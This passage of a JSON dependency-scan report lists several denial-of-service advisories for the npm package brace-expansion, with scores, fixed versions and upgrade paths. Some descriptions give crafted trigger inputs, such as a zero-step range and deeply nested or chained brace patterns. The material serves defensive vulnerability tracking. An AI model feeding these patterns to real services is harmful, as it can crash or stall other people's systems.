"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
